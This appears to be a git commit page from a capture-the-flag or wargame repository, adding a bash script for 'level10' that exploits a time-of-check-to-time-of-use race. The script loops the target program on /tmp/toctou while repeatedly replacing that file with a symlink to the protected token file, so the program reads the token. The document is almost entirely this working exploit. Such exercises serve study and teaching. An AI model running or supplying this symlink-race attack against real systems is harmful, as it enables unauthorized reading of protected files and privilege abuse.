feat(lvl10/ressources): adding the toctou script

This commit is contained in:
Raphael 2026-01-28 01:25:15 +01:00
parent e5215ef92d
commit b28e4293f3
No known key found for this signature in database

View file

@ -0,0 +1,17 @@
#!/bin/env bash
INPUT="/home/user/level10/token"
OUTPUT="/tmp/toctou"
PROGRAM="/home/user/level10/level10"
touch $OUTPUT
while true; do $PROGRAM $OUTPUT 127.0.0.1; done &
while ! test -r $OUTPUT; do
rm -f $OUTPUT
touch $OUTPUT
rm -rf $OUTPUT
ln -s $INPUT $OUTPUT
done